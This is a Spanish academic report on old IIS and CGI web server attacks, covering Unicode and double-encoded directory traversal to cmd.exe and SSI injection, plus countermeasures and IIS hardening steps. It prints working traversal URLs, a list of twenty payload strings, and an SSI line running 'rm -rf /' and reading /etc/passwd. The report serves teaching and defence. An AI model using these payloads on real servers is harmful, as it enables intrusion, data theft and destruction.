2.3.1 Descripción La vulnerabilidad de canonización a la que hacia referencia el primer boletín de Microsoft acerca de ataques empleando conjuntos de codificación, se relacionaba con la forma en que los sistemas convierten datos de un sistema a otro, algo canónico es algo que se encuentra en su forma estándar. La canonización permite convertir algo en una representación a la forma más simple posible, y, debido a que las aplicaciones Web trabajan con diversos aspectos de este proceso como son la codificación URL y la traducción de direcciones IP, los ataques de este tipo explotan los posibles errores durante este proceso de conversión.  Este es el caso de la vulnerabilidad “File Permission Canonicalization” la cual permite aprovechar un error en la canonización de los Scripts de CGI y las extensiones ISAPI en IIS, con el fin de manipular algunos permisos en directorios físicos a través de URL’s especiales que, durante el proceso de codificación, el servidor entiende como accesos normales a directorios virtuales. [17]

Aunque la filosofía del Ataque Unicode se basa en las mismas debilidades de canonización, difiere del anterior porque su objetivo no es explotar Scripts CGI o extensiones ISAPI sino mapear directamente archivos específicos del sistema como win.ini o cmd.exe. Es por esta razón que Microsoft se vio en la necesidad de desarrollar parches adicionales para corregir este bug MS00-078 (“Web Server Folder Transversal”), poco después de haber liberado los correspondientes al bug MS00-0587 (“File Permission Canonicalization”).

El ataque explotando la vulnerabilidad “Web Server Folder Transversal” es llamado “Unicode” debido a la codificación Unicode de caracteres que es empleada para efectuar los accesos ilegales. Esta vulnerabilidad permite a usuarios externos obtener acceso a máquinas corriendo IIS 4.0 o IIS 5.0 a través de URL’s “malformadas”. De esta manera, los usuarios que visitan un sitio Web, pueden ganar ciertos privilegios sobre la máquina que le permiten efectuar múltiples acciones como accesar, cambiar o borrar datos, ejecutar comandos o código existente en el servidor, y/o cargar nuevos códigos o programas en el servidor y ejecutarlos. [19]

Los privilegios adquiridos a través de esta técnica permiten efectuar solicitudes empleando la cuenta definida en cada servidor como IUSR_<NOMBREMAQUINA>, la cual es la cuanta para usuarios anónimos (vía Internet) de IIS. Aunque por defecto esta cuenta posee los permisos apropiados para usuarios no seguros sobre los directorios Web, esta cuenta hace parte de los grupos “Everyone” y “Users” lo cual le brinda la posibilidad de acceder archivos residentes en directorios diferentes a los empleados normalmente vía Web. [18]

2.3.2 Análisis Aunque el nombre de “Ataque Unicode” hace expresa referencia a los caracteres Unicode como medio para construir los URL’s, el conjunto de caracteres realmente empleado es el UCS Transformation Format, el cual sirve como enlace entre caracteres Unicode y ASCII.

El Unicode fue desarrollado para permitir un Conjunto Universal de caracteres (UCS) que abarque la mayoría de los sistemas de escritura del mundo.  Sin embargo, el formato de caracteres de múltiples octetos no es compatible con la mayoría de aplicaciones y protocolos actuales. Esto ha llevado al desarrollo de algunos formatos de transformación de UCS´s (UTF) de características variables. El formato UTF-8 posee la característica de soportar todo el rango de caracteres US-ASCII; es compatible con sistemas de archivos, parsers y software que hacen uso de valores US-ASCII. [20]

El estándar Unicode actualmente aceptado se encuentra especificado en el sitio www.unicode.org. Actualmente la última versión aceptada del estándar es la 3.0, aunque se encuentran en proceso de corrección las versiones 3.0.1, 3.1.0 y 3.1.1. En el anexo 2 se puede observar el fragmento inicial de la última versión de la tabla Unicode [31], que incluye los caracteres derivados del latín frecuentemente utilizados por los sistemas actuales y a partir de los cuales se construye el ataque. 

En un ataque de codificación Unicode, existen una serie de aspectos que se deben tratar. Estos aspectos crecen en complejidad de acuerdo a la variedad. El primer aspecto a tener en cuenta trata con el Mapeo de Caracteres (Character Mapping). El segundo aspecto se relaciona con la codificación de caracteres (Character Encoding). Otro aspecto a tener en cuenta es si las aplicaciones soportan el mapeo de caracteres y como hacen estas aplicaciones para codificar y decodificar el mapeo.

	Rango UCS-4 
	Codificación UTF-8 

	0x00000000-x0000007F 
	0xxxxxxx 

	0x00000080-x000007FF 
	110xxxxx 10xxxxxx 

	0x00000800x0000FFFF 
	1110xxxx 10xxxxxx 10xxxxxx 

	0x00010000-001FFFFF 
	11110xxx 10xxxxxx 10xxxxxx 10xxxxxx 

	0x00200000-03FFFFFF 
	111110xx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 

	0x04000000-7FFFFFFF 
	1111110x 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 10xxxxxx 


Tabla 1. Mapeo de Caracteres. [15]

Mapeo de Caracteres: existen diversos mapeos en las codificaciones de caracteres, un ejemplo de esto se puede observar en la tabla 1 donde se presenta un mapeo de caracteres de UCS-4 a su representación en UTF-8.

A partir de mapeos como éste es posible formar codificaciones ilegales de UTF-8 en dos sentidos:

1. Una secuencia UTF-8 para un símbolo dado puede tener una longitud mayor que la representación del símbolo.

2. Una secuencia UTF-8 puede tener octetos cuyo formato es incorrecto. 

La importancia de la representación UTF-8 radica en el hecho de que los Servidores Web o las aplicaciones Web llevan a cabo varios pasos en el procesamiento de las entradas. Este orden es crítico para la seguridad de una aplicación. Básicamente, los pasos son: Decodificación del URL, seguido de una decodificación UTF-8. En alguna parte de este procesamiento se llevan a cabo diversos tipos de verificación de seguridad. Si por ejemplo, uno de los pasos de verificación de seguridad es la búsqueda de la cadena "..", y esta verificación se lleva a cabo antes de la decodificación UTF-8, es muy posible que el ".." pueda ser enviado en su representación UTF-8. Sin embargo, si las verificaciones de seguridad reconocen algunos de los formatos no canónicos para los puntos, todavía se puede hacer uso de formatos no reconocidos por este para representar los dos puntos. Por ejemplo:

1.  Considere el caracter ASCII "." (punto). La representación canónica del punto es ASCII 2E. Si se piensa en el caracter punto como su representación en el segundo rango UTF-8 (2 bytes), se puede tener una representación un poco más larga del punto como C0 AE.  Al igual que este ejemplo, se pueden encontrar representaciones más largas como: E0 80 AE, F0 80 80 AE, F8 80 80 80 AE y FC 80 80 80 80 AE. 

2. Considere la representación CO AE del símbolo punto. Como la codificación UTF-8 lo requiere, el segundo octeto tiene un "10" en sus bits más significativos.  Ahora, se pueden definir tres variantes para él, al enumerar el resto de combinaciones de 2 bits posibles ("00", "01" y "11").  Algunos decodificadores UTF-8 trataran estas variantes idéntico como el símbolo original (estos simplemente usan los 6 bits menos significativos, descartando los 2 más significativos). Las 3 variantes son: C0 2E, C0 5E y C0 FE. [15]

Para complicar aún más las cosas, cada representación puede ser enviada a través del HTTP de varias formas:

1. En modo bruto o sin procesar: Esto es sin codificación URL. Esto por lo general es el resultado de enviar octetos NO-ASCII en el URL, en una consulta o en el cuerpo de una página, los cuales violen el estándar HTTP. 

2. Codificación URL válida:    Cada caracter no ASCII es codificado en el URL. Como resultado de esto se puede enviar por ejemplo, %C0%AE. 

3. Codificación URL no válida: Variante de la codificación URL válida donde algunos dígitos hexadecimales son reemplazados con dígitos no-hexadecimales. Sin embargo, los resultados son siempre interpretados como los originales bajo ciertos algoritmos de decodificación. Por ejemplo, el caracter  %C0 es interpretado como el número ('C'-'A'+10)*16+('0'-'0') = 192. Aplicando el mismo algoritmo a %M0 produce ('M'-'A'+10)*16+('0'-'0') = 448, número que cuando es forzado a un solo byte, en sus 8 bits menos significativos produce el número 192. Por lo tanto, si el algoritmo esta dispuesto a aceptar un valor no hexadecimal como M, entonces es posible que se tengan variantes para %C0 como %M0 y %BG. [15]

2.3.3 Funcionamiento En una representación normal de rutas de archivos los caracteres ‘../’ o ‘..\’ pueden ser usados para denotar un directorio padre del actual directorio de trabajo, por ejemplo, si se encuentra localizado en C:\Inetpub\Scripts y se desea acceder a C:\Inetpub\Pictures, se puede digitar ‘../pictures’ y se obtendrá el cambio de ruta requerido.
Microsoft IIS efectúa una verificación de seguridad sobre cada CGI URL ejecutado para asegurar que el requerimiento no use ninguna secuencia ‘../’ que intente acceder algún directorio por fuera de la carpeta Web Inetpub. Sin este control, cualquier usuario en Internet tendrá la posibilidad de acceder archivos en el drive. Es aquí donde la codificación Unicode, juega un papel importante.

Una vez que el IIS efectúa la verificación de seguridad, pasa el URL a través de una rutina de codificación para transformar cualquier caracter Unicode extendido y luego ser ejecutado. El objetivo de esta rutina es decodificar los caracteres especiales encontrados en los parámetros pasados al Script CGI. Dado que la codificación Unicode del caracter ‘/’ es ‘%c0%af’, si en el URL requerido se reemplaza la secuencia ‘../’ por ‘..%c0%af’ este no será rechazado por la verificación inicial, ya que dicho proceso no encuentra ninguna ocurrencia de los caracteres ‘../’ sólo verá una secuencia ‘..%c0%af’ válida. Sin embargo una vez que la  rutina de decodificación es ejecutada sobre el URL, la inofensiva secuencia ‘..%c0%af’ se convierte en la maliciosa secuencia ‘../’. Esto quiere decir que URL’s maliciosos normalmente rechazados como:

Http://target/Scripts/../../winnt/system32/cmd.exe?/c+dir+c:\
Puedan ejecutarse sin problemas al evadir la verificación sintáctica, de la siguiente forma:

Http://target/Scripts/..%c0%af..%c0%afwinnt/system32/cmd.exe?/c+dir+c:\
Obteniendo como resultado el listado del drive C:\ deseado. [20]

Esto representa la enorme posibilidad para usuarios maliciosos de efectuar una variedad de peligrosas acciones a través de la línea de comandos y de programas como tftp.exe o command.com.

Una variante de esta técnica fue publicada por NSFOCUS cuando se vulneró el parche inicial aplicado por Microsoft para corregir la falla en la codificación Unicode. El boletín MS01-026 reveló que la solución inicialmente implementada al efectuar otra verificación después de la decodificación fue insuficiente debido a la existencia de otra operación de decodificación posterior al nuevo chequeo de seguridad.

Esto quiere decir que si se codifica nuevamente la versión codificada de los caracteres ‘/’ y ‘\’, el URL pasa todas las verificaciones de seguridad y es interpretado y ejecutado satisfactoriamente. 

El NSFOCUS Security Advisory SA2001-02 [21] detalla más ampliamente este tópico:

“Por ejemplo, el caracter '\' es codficado como "%5c" y el correspondiente código de estos tres caracteres es:

'%' = %25

'5' = %35

'c' = %63


Codificando estos tres caracteres nuevamente, se pueden obtener muchos resultados tales como:

 
%255c
%%35c
%%35%63 
%25%35%63
....”

“Por ejemplo, TARGET posee un directorio virtual de ejecutables (por ejemplo "Scripts") y se encuentra ubicado en el mismo drive del sistema Windows. El requerimiento a efectuar sería el siguiente:


Http://TARGET/Scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir+c:\

Como resultado se obtiene el listado del directorio C:\.  

Por supuesto, el mismo efecto puede ser obtenido por este tipo de procesamiento para los caracteres '/' y '.'.

Por ejemplo: "..%252f", ".%252e/"...

Con base en esto, '..\' puede ser representado por '..%255c' y '..%%35c', etc.

Después de la primera decodificación, '..%255c' es transformado en '..%5c'. IIS lo tomará como una cadena de caracteres legal que puede pasar el chequeo de seguridad. Pero después de un segundo proceso de decodificación,  esta cadena será revertida a '..\'. De aquí que el atacante  pueda utilizar '..\' para subir de directorios transversalmente y correr programas arbitrarios por fuera del directorio Web.”

Como se puede observar esta variante emplea doble codificación de caracteres como ‘/’ o’\’ para sobrepasar las verificaciones de seguridad que se aplica al URL inicial. Hoy en día existen muchas herramientas  como códigos fuentes o programas en Internet que permiten probar si un sitio es vulnerable ante ataques Unicode. El procedimiento común es el de probar con una gran cantidad de URL’s maliciosos con el fin de encontrar por lo menos una secuencia de caracteres aceptada por el servidor que permita obtener el acceso. Un ejemplo de este tipo de recursos gratuitos es el Script Unicode_shell.pl que se encuentra disponible en el sitio de seguridad www.packetstormsecurity.org [28]. Este código en Perl permite probar con 20 combinaciones diferentes a un servidor Web para detectar a cuales es vulnerable.

Las 20 secuencias son:

"/Scripts/..%c0%af../winnt/system32/cmd.exe?/c+";

"/Scripts..%c1%9c../winnt/system32/cmd.exe?/c+";

"/Scripts/..%c1%pc../winnt/system32/cmd.exe?/c+";

"/Scripts/..%c0%9v../winnt/system32/cmd.exe?/c+"

"/Scripts/..%c0%qf../winnt/system32/cmd.exe?/c+"

"/Scripts/..%c1%8s../winnt/system32/cmd.exe?/c+"

"/Scripts/..%c1%1c../winnt/system32/cmd.exe?/c+"

"/Scripts/..%c1%9c../winnt/system32/cmd.exe?/c+"

"/Scripts/..%c1%af../winnt/system32/cmd.exe?/c+"

"/Scripts/..%e0%80%af../winnt/system32/cmd.exe?/c+"

"/Scripts/..%f0%80%80%af../winnt/system32/cmd.exe?/c+"

"/Scripts/..%f8%80%80%80%af../winnt/system32/cmd.exe?/c+"

"/Scripts/..%fc%80%80%80%80%af../winnt/system32/cmd.exe?/c+"

"/msadc/..\%e0\%80\%af../..\%e0\%80\%af../..\%e0\%80\%af../winnt/system32/cmd.exe\?/c\+"

"/cgi-bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

"/samples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

"/iisadmpwd/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

"/_vti_cnf/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

"/_vti_bin/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

"/adsamples/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af../winnt/system32/cmd.exe?/c+"

2.3.4 Contramedidas

· La más obvia solución es asegurar el IIS aplicando los parches de Microsoft para solucionar esta vulnerabilidad.

· Se recomienda deshabilitar los privilegios de IUSR sobre el cmd.exe, command.com, tftp.exe o attrib.exe.

· Otra forma de evitar esto es instalar los directorios Web en un drive lógico distinto a donde se encuentra la carpeta Winnt.

2.4. Ataques CGI

La interfaz de pasarela común (Common Gateway Interface, CGI) es un estándar que permite comunicar programas del lado del cliente con servidores de información, como servidores Web o HTTP [32]. Los programas en CGI proporcionan interactividad a las páginas web en el servidor, CGI almacena  información en variables del sistema, puede aceptar como argumentos líneas de comandos, realizar transacciones a través de entrada y salida de datos, toda esta funcionalidad podría crear problemas de seguridad en el servidor, debido a que una aplicación en CGI mal diseñada podría permitir acceso total o parcial al servidor. Cualquier programa que interactúe con un cliente en una red, existe la posibilidad de que el cliente ataque el programa para ganar acceso no autorizado al sistema. 

Ataques a programas CGI comúnmente buscan modificar páginas Web, robar información de tarjetas de crédito e instalar puertas traseras que les servirán para posteriormente tener acceso a los sistemas comprometidos, aprovechar vulnerabilidades del sistema [30].

Para  la ejecución de un programa CGI es necesaria la presencia de dos elementos, un formulario dentro de una página Web en formato HTML, donde el cliente ingresa los datos, y un programa o script CGI en el servidor, que recibe y procesa los datos ingresados. El resultado obtenido en enviado al usuario en formato HTML y es visualizado por el Browser del cliente devuelve, En la figura 3 se muestra el proceso normal. Aunque existen otras formas de invocar los scripts y  programas CGI, haciendo un clic para llamar al CGI o invocarlo directamente desde el campo de URL en el Browser, introduciendo el URL completo del programa CGI con los parámetros.
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Figura 4. Comunicación CGI entre el Cliente y el Servidor Web. [33]
2.4.1 Vulnerabilidades de CGI Los programas CGI son ejecutables, esto implica que a cualquier cliente se le está permitiendo ejecutar programas en el servidor cuando invoca un CGI o envía formularios. La mayoría de CGI’s aceptan datos de entrada de los clientes (al enviar un formulario o desde la línea de URL en el Browser), consecuentemente se le está dando al cliente control de la ejecución del CGI, de esta forma el cliente podría intentar introducir parámetros inesperados e ingeniosamente manipulados para que el CGI funcione maliciosamente. Otro hecho que los atacantes aprovechan y que puede afectar al sistema es el hecho de que los programas CGI residen en un directorio físico que el servidor Web conoce para poder ejecutarlo; si el administrador no tiene precauciones, como restricciones en el acceso sobre el directorio, ubicación, nombre, entre otros, puede ocasionar que sean modificados o cambiados los programas CGI.

2.4.1.1 Programación de CGI’s Los programas y scripts CGI mal diseñados representan una gran amenaza a la seguridad del servidor y por lo tanto del sistema si se consideran dos aspectos: 

· Entradas maliciosas del usuario para que se ejecuten comandos en la máquina del servidor, permitiendo acceso o causarle daños.

· Más oportunidades para explotar las vulnerabilidades en la seguridad del sistema. Sirve como medio para realizar ataques, debido a que puede revelar información de la configuración del sistema y del servidor, y poder encontrar agujeros de seguridad. Esto es posible por la especificación de CGI que permite leer archivos, acceso al shell y manipular sistemas de archivos del servidor y de máquinas vecinas. 

2.4.1.2 Serve-Side Includes (SSI) Los server-side includes (SSI) son directivas que se pueden insertar en una página HTML, de manera que presentará como parte de la página el contenido de un archivo o la salida de un comando. Aunque los SSI pueden ser muy útiles y dotan de gran flexibilidad a una página Web, también pueden resultar computacionalmente costosos, pueden impedir la portabilidad de las páginas Web y más importante, pueden llegar a abrir agujeros de seguridad, ya que el autor de la página HTML decide qué programas se ejecutarán y con qué argumentos. En el peor caso, se podría llegar a ejecutar cualquier comando y así producir daños irreparables o revelar información. Si la entrada no se filtra, includes como los siguientes pueden ser ejecutados:

<!--#exec cmd="rm –rf /;cat /etc/passwd" -->

<!--#include file="archivo_secreto" -->

2.4.1.3 Llamada a programas Una de las mayores utilidades de CGI permite llamar otros programas abriendo un shell, pero también representa uno de los mayores riesgos de seguridad de CGI.

2.4.2 Contramedidas Conocidos los riesgos, para programar CGI’s seguros se deben tener presente: Referencia: 

· Los programas solamente deben ejecutar aquellas acciones para las que ha sido concebido. 

· Suministrar sólo la información necesaria al cliente y evitar revelar información del sistema y del servidor. 

· Validar los datos introducidos por el cliente. 

· Prever posibles ataques y tomar medidas que minimicen los daños en el sistema en caso de un ataque exitoso. 

2.4.2.1 Configuración del Servidor El primer paso para escribir CGI’s seguros es verificar que el servidor Web está bien configurado. Si no es así y el servidor no es seguro, no importa cómo se escriban los CGI’s, los atacantes encontrarán una u otra forma de entrar al servidor. Configurando correctamente, adicionalmente se ayudará a minimizar los daños que pueda causar un ataque exitoso por programas CGI’s mal escritos [27].
· Usuarios y Permisos en el Servidor
Cuando se ejecuta un CGI, corre con el ID del usuario (UID) del propio servidor Web, lo cual significa que un CGI mal diseñado permitiría a un atacante correr otros programas con el UID del servidor. Es obvio que el servidor Web no debe correr con el usuario Administrador o root. 

En UNIX por ejemplo, aunque el servicio de Web debe ser iniciado por el root, el archivo http.conf no debe tener “User root”, si la tiene todos los comandos ejecutados se ejecutarían como el root. Una mejora es utilizar un usuario genérico como nobody, con privilegios limitados, pero el problema no es eliminado debido a que otros procesos corren como nobody, por lo que los clientes del servidor Web tendrían los mismos privilegios. En su lugar, es más conveniente correr el servidor como un usuario real.

· Ubicación de CGI’s en el Servidor

Existen dos métodos comúnmente utilizados. El primero de ellos, y más recomendable, consiste en designar un único directorio donde se almacenarán todas las aplicaciones en CGI, típicamente el directorio cgi-bin, con privilegios limitados, de manera que los usuarios locales no puedan instalar, eliminar ni editar programas. Por el contrario, la segunda permite la ejecución de cualquier archivo con la extensión, por ejemplo, .cgi, como un programa CGI, lo cual no es la más segura. 

2.4.2.2 No confiar en el usuario Uno de las formas más utilizadas en ataques CGI es la introducción de datos de entrada a los programas que produzcan en el servidor la ejecución de comandos no deseados o entradas no válidas y causar Buffer Overflow.
Una de las prácticas más difundidas entre los hackers es la manipulación de las entradas a un formulario directamente desde el campo de URL en el Browser. Programadores inexpertos o descuidados olvidan validar las entradas de los campos del formulario, como por ejemplo listas despleglables, texto, entre otros utilizados comúnmente en las páginas Web con formularios insertados, asumiendo que los datos son confiables. Otro de los errores cometidos por los programadores es suponer seguridad en los campos ocultos en las páginas, estos campos “ocultos” pueden ser visualizados en el código fuente del documento enviado por el servidor al cliente.

2.4.2.3 Lenguajes A la hora de escoger un lenguaje para escribir CGI´s seguros surge la pregunta de cual es el más adecuado. Generalmente se consideran a los lenguajes compilados (Lenguaje C) como más seguros que los interpretados (AppleScript, TCL, PERL y scripts en el shell de UNIX) por las siguientes razones[27]: 

· No necesitan tener un interpretador que acceda al servidor
· El código fuente no está disponible por acceso remoto, se le dificulta al hacker conocer como funciona el programa. 

· Por ser archivos binarios se consideran más rápidos al ser ejecutados.

· Los lenguajes interpretados facilitan la posibilidad de obtenerlos y modificarlos.

· Los programas escritos en lenguajes interpretados cuando crecen tienden a complicarse y ser más propensos a errores, aumentando las posibilidades de problemas de seguridad. 

Por otro lado, también hay que tener considerar que los lenguajes compilados son más sencillos de entender y depurar. Los lenguajes compilados como C de bajo nivel son susceptibles a buffer overflow, pero esto puede ser solucionado manejando las cadenas como un array de caracteres o un apuntador a un carácter.

2.4.2.4 Rutas y nombres de archivos Las rutas y nombres de archivos contenidos en las variables PATH y  PATH_INFO (utilizadas para pasarle información de rutas de archivos a un programa CGI [9]) no son del todo confiables. El atacante puede modificar el valor de estas variables y apunten al programa CGI que desean que se ejecute en lugar del esperado. Es recomendable tener una lista de los nombres de archivos admitidos. Es recomendable utilizar rutas completas, en caso de necesitar rutas relativas, al inicio del programa CGI se debe especificar el valor de la variable PATH. Al crear archivos es aconsejable crear una lista con los caracteres válidos, limitarla a los caracteres a A – Z, a – z y 0 – 9 para evitar los metacaracteres. Un buen ejercicio es comprobar que los archivos creados son los que se deseaban y no utilizar el directorio temporal[24]. 
2.4.2.5 Llamadas a programas Una de las características más potentes y ampliamente utilizadas de la programación en CGI es su facilidad para implementar el llamado a otros programas o funciones del sistema y capturar su salida. Pero esta cualidad puede ser utilizada en contra del servidor si no se tiene el cuidado de validar los argumentos que se procesan, un atacante podría variarlos y causar daños en el servidor o acciones no deseadas. 
El riesgo depende de cómo se llamen a los programas externos, existen funciones dependiendo de lenguaje que se utilizan para este fin, generalmente abren un shell realizan el llamado. En C las funciones que abren un shell que ejecute los comandos pasados como parámetros son popen( ) y system(). Por otro lado, en Perl además de las mencionadas anteriormente tiene open('| ...'), exec('...'), eval('...') y `...`. Si se utiliza cualquiera de estas funciones el atacante tiene la posibilidad de ejecutar comandos y aprovecharse de las vulnerabilidades del shell.

Una sugerencia es evitar abrir un shell, pero si es necesario no debe pasar como argumentos una entrada del usuario sin antes filtrarla y rechazar las que contengan caracteres como `, $, |, ;, >, *,<, &, [, ', \, ], ", (, ~, ?, ), \n, \r, definir una lista de caracteres no aceptables. Ejemplos de validación de entradas se pueden encontrar en el libro de Eugene Eric Kim, en el capítulo 9, sección Writing Secure CGI Programs  [27]. 

2.4.2.6 Server-Side Include Para evitar la ejecución de comandos o revelar información del sistema, es conveniente deshabilitarlos si no se tiene una buena razón para utilizarlos. Soluciones menos drásticas consisten [35]:

· Deshabilitar el comando exec. 

· Validar las entradas del usuario, no deben contener caracteres como ;, -, #, @, <, >, etc, ¡, ‘, `, /.

· Los archivos que incluyan SSI deben ser páginas con extensión .shtml, en caso contrario deben ser ignorados.

· Evitar llamados a funciones o procedimientos externos.

2.4.2.7 Eliminar o mover ejemplos La mayoría de los servidores Web vienen con un directorio de ejemplos de programas y scripts CGI. Estos deben ser borrados o movidos a otro directorio. Estos CGI’s tienen muchas vulnerabilidades bien conocidas por los hackers que permiten ejecutar comandos en el servidor.

2.4.2.8 Manipular Errores Como cualquier otro programa que recibe entradas de usuario, los programas y scripts CGI’s deben manejar los errores generados por la aplicación para evitar comportamientos indeseados o imprevistos en el servidor.
3 Demo

Ver Anexo III

4 Conclusiones

Con base en la información presentada, es importante en un proceso de administración de servidores Web tener muy presente los siguientes aspectos:

1. Hacer uso de herramientas que permitan evaluar las vulnerabilidades del servidor Web.

2. Emplear herramientas de verificación sobre el código que se esta ejecutando en su sistema.

3. Hacer uso de las firmas digitales para verificar que el código escrito por otros sea válido y confiable.

Analizar frecuentemente los logs generado por el servidor Web para poder detectar ataques entre las actividades que los clientes realizan normalmente sobre el sitio.

5 Asegurar el servidor Web (pasos básicos de aseguramiento)
Esto puede ser una tarea desalentadora dado que Microsoft permite la mayoría de las opciones por defecto. La tarea está en invalidar muchas de las características, asegurándose de que los códigos de ejemplo no sean instalados y asegurando el servidor. Lo que se va describir no es un documento de instalación, no obstante es un punto de partida para la mayoría de los documentos de instalación.

Un buen recurso que lo puede asistir en la configuración de su sitio Web es la sección de “Microsoft Security” en su sitio Web. Ellos poseen listas de chequeo de configuraciones de las estaciones de trabajo, servidores, controladores de dominio y  servidores IIS. También posee una plantilla de seguridad disponible para maquinas Windows 2000, que le permite al usuario modificarla y ajustarla a sus necesidades y le ayuda en el proceso de la configuración.

Estas listas de comprobación y plantillas de seguridad son una buena forma de crear sus propias instalaciones y es una buena práctica para su configuración.

Estas listas de comprobación y plantillas son una manera fácil de crear sus mejores prácticas de la instalación y de la configuración. 

Pasos básicos de seguridad en los servidores Web con IIS 5.0: (Existen algunas excepciones, pero este es un punto de partida)

1. Instale solamente las opciones que requiera del IIS. 

2. Instale el servidor Web en una partición separada, por ejemplo:  D:\inetpub\wwwroot

3. Asegure el servidor (Aquí se puede describir un ejemplo al respecto)

a. Renombre los usuarios de Administrador, invitado y IUSR_Server y se deben aplicar las restricciones de las claves seguras. 

b. Permitir la auditoria

c. Requerir claves complejas (GPO o Passprop). 

d. Permita que la cuenta se bloquee. 

e. Cree y use cuentas no privilegiadas para los servicios. 

f. Muestre avisos legales. 

g. Deshabilite los servicios no usados. 

h. Asegure el registro, limitando el ACL y restringiendo el acceso anónimo. 

i. Asegure la estructura de directorios NTFS. Todos debe ser removido de la estructura de directorios. Un ejemplo de los permisos por defecto para los servidores Web puede ser el siguiente: Administrador Y System control total, usuarios avanzados Y operadores de copia cambio. 

j. Evalué que la cuenta local tenga los permisos para usuarios adicionales. Una lista de usuarios por defecto para un servidor Web puede ser la siguiente: IUSR_Server_renombrado (aquí se refiere a este usuario dado que en un punto anterior se recomienda cambiarle el nombre a este usuario), Administradores, Operadores de copia y usuarios avanzados. 

k. Remover las vulnerabilidades de RDS (Remote Data Service)

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\RDSServer.DataFactory

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W3SVC\Parameters\ADCLaunch\AdvancedDataFactory

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\ServicesW3SVC\Parameters\ADCLaunch\VbBusObj.VbBusObjCls 

Para mayor información acerca de esta vulnerabilidad referirse a: Http://support.microsoft.com/support/kb/articles/q184/3/75.asp
l. Bloquee los accesos de línea de comandos al ODBC. Para mayor información: Http://support.microsoft.com/support/kb/articles/q184/3/75.asp
Estar seguro que los componentes Jet se encuentren actualizados, las actualizaciones las puede encontrar en el sitio de Microsoft: Jet 3.5 Http://support.microsoft.com/support/kb/articles/Q172/7/33.ASP Jet 4.0 Http://support.microsoft.com/support/kb/articles/Q239/1/14.ASP 

No cree manualmente estas llaves. El código de actualización es requerido para utilizar las configuraciones. Si estos valores no existen, entonces la actualización de Jet no fue aplicada. 

Defina los valores de las siguientes llaves en 3: \\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\3.5\engines\SandboxMode

\\HKEY_LOCAL_MACHINE\Software\Microsoft\Jet\4.0\engines\SandboxMode

m. Remueva el directorio Inetpub\SCRIPTS. (Si se necesita esta funcionalidad, se recomienda renombrar el archivo.)

n. Asegúrese de que el usuario renombrado de anonymous tenga los permisos de lectura y ejecución en los directorios: 

C:\WINNT\SYSTEM32\INETPUB

D:\INETPUB\WWWROOT

Y otros directorios que contengan archivos que se desean publicar en el servidor Web.

o. Crear un archivo con nombre robots.txt en el directorio root del servidor Web.

p. Abra la interfase grafica del IIS (La configuración por defecto es vulnerable). 

Remueva todos los sitios Web y directorios (especialmente msdac) de su servidor Web. Deje solamente los que son absolutamente necesarios. (Ideal, que se pueda tener solamente un sitio Web por defecto para iniciar con el). 

Configure las propiedades del servidor: 

WW Service >> Edit >> Web Site >> Enable Logging >> Properties >>Extended Properties >> Log these:

Time

Client IP 

Client IP Address 

User Name 

Method 

URI Stem 

Http Status 

Win32 Status 

User Agent 

Server IP Address 

Server Port 

Operators >> Administrators

Directory Security >> Anonymous Access Only 

Directory Security >> IP Address restrictions>> Todos los computadores deben tener el acceso denegado excepto 127.0.0.1 (Se permitirá el acceso a sitios Web más adelante.)

Rendimiento: configúrelo teniendo en cuenta sus necesidades.

Directorio Home: el path del directorio Web debe estar en una partición diferente a la del sistema. Permite lectura de la información y tenga un log sobre las visitas.

Home Directory >> Applications settings >> Configuration >> remueva todas las extensiones extrañas como lo son: *.htw, *.htr, *.ida, *.idq, *.printer, etc.  deje solamente *.asp.

Home Directory >> Applications settings >> Configuration >> App Options >> Deseleccione que pueda ver el directorio padre (rechaza ..\ como forma de describir el directorio padre)

Home Directory >> Applications settings >> Configuration >>>> App Debuging >> Script Error Messages >> Envié un texto de mensaje de error al cliente.

Documents>> Limite el valor por defecto (Default.htm)

Inheritance Overrides>> Sí uno puede obtener respuesta a esta pregunta, sobrescribir entonces debe ir a ese directorio Web en particular y editarlo adecuadamente.

q. Vaya de nuevo a cualquier carpeta y fije los permisos según lo requerido. 

Security >> Vaya de nuevo al servidor Web por defecto y defina las direcciones IP a todos los computadores con permiso. No sobre escriba ningún nodo hijo. 

r. Comience cargando del contenido Web. 
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ANEXO I. TABLA UNICODE

	UNICODE
	CARACTER
	DESCRIPCIÓN

	0000
	<control>
	NULL

	0001
	<control>
	START OF HEADING

	0002
	<control>
	START OF TEXT

	0003
	<control>
	END OF TEXT

	0004
	<control>
	END OF TRANSMISSION

	0005
	<control>
	ENQUIRY

	0006
	<control>
	ACKNOWLEDGE

	0007
	<control>
	BELL

	0008
	<control>
	BACKSPACE

	0009
	<control>
	HORIZONTAL TABULATION

	000A
	<control>
	LINE FEED

	000B
	<control>
	VERTICAL TABULATION

	000C
	<control>
	FORM FEED

	000D
	<control>
	CARRIAGE RETURN

	000E
	<control>
	SHIFT OUT

	000F
	<control>
	SHIFT IN

	0010
	<control>
	DATA LINK ESCAPE

	0011
	<control>
	DEVICE CONTROL ONE

	0012
	<control>
	DEVICE CONTROL TWO

	0013
	<control>
	DEVICE CONTROL THREE

	0014
	<control>
	DEVICE CONTROL FOUR

	0015
	<control>
	NEGATIVE ACKNOWLEDGE

	0016
	<control>
	SYNCHRONOUS IDLE

	0017
	<control>
	END OF TRANSMISSION BLOCK

	0018
	<control>
	CANCEL

	0019
	<control>
	END OF MEDIUM

	001A
	<control>
	SUBSTITUTE

	001B
	<control>
	ESCAPE

	001C
	<control>
	FILE SEPARATOR

	001D
	<control>
	GROUP SEPARATOR

	001E
	<control>
	RECORD SEPARATOR

	001F
	<control>
	UNIT SEPARATOR

